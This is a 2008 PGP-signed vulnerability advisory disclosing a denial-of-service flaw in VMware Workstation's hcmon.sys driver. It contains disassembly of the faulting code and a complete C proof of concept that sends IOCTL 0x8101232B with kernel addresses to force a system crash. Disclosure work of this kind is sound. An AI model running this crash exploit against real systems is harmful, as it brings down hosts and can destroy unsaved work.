-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - Orange Bat advisory - Name : VMWare Workstation (hcmon.sys 6.0.0.45731) Class : DoS Published : 2008-08-17 Credit : g_ (g_ # orange-bat # com) - - Details - Fails to sanitize pointers sent from usermode with METHOD_NEITHER. hcmon.sys: .text:00011606 loc_11606: .text:00011606 mov eax, [ebp+SystemBuffer] .text:00011609 mov [ebp+SystemBuffer2], eax .text:0001160C mov ecx, [ebp+SystemBuffer2] .text:0001160F mov edx, [ecx+0Ch] <---- BUGCHECK .text:00011612 cmp edx, [ebp+var_20] .text:00011615 jnz short loc_11629 .text:00011617 cmp [ebp+NumberOfBytes], 70h .text:0001161B jb short loc_11629 .text:0001161D mov eax, [ebp+SystemBuffer2] .text:00011620 cmp dword ptr [eax+8], 7FFBh .text:00011627 jbe short loc_11638 This code can be reached by sending 0x8101232B IOCTL to \\.\hcmon device. - - Proof of concept - #include <windows.h> #include <stdio.h> #include <ddk/ntifs.h> void TextError(LPTSTR lpszFunction) { // Retrieve the system error message for the last-error code LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40) \ *sizeof(TCHAR)); sprintf((LPTSTR)lpDisplayBuf, TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); //MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); printf(lpDisplayBuf); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); } BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, \ DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen ) { HANDLE hDevice; // handle to the drive to be examined BOOL bResult; // results flag DWORD junk; // discard results IO_STATUS_BLOCK IoStatusBlock; hDevice = CreateFile(DeviceName, 0, // no access to the drive FILE_SHARE_READ | // share mode FILE_SHARE_WRITE, NULL, // default security attributes OPEN_EXISTING, // disposition 0, // file attributes NULL); // do not copy file attributes if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive { TextError("CreateFile"); return (FALSE); } bResult = DeviceIoControl(hDevice, // device to be queried Ioctl, (PVOID)InputBuffer, InputLen, (PVOID)OutputBuffer, OutputLen, // output buffer &junk, // # bytes returned (LPOVERLAPPED)NULL); // synchronous I/O if(!bResult){ TextError("DeviceIoControl"); } CloseHandle(hDevice); return TRUE; } int main(int argc, char *argv[]) { DWORD Ioctl, Input, ILen, Output, OLen; DWORD SSDT; char *ptr; if(TestIOCTL("\\\\.\\hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){ printf("You should not see this"); } else{ printf("Failed to open device"); } return 0; } - - PGP - All advisories from Orange Bat are signed. You can find our public key here: http://www.orange-bat.com/g_.asc - - Disclaimer - This document and all the information it contains is provided "as is", without any warranty. Orange Bat is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. (c) 2008 www.orange-bat.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70 iEYEARECAAYFAkioiW4ACgkQIUHRVUfOLgUQEQCdE1YYpJAUypShf5oStwMfbRRC BPMAniLYABIgCgxkZVSQAQawV060P4M8 =cp6A -----END PGP SIGNATURE-----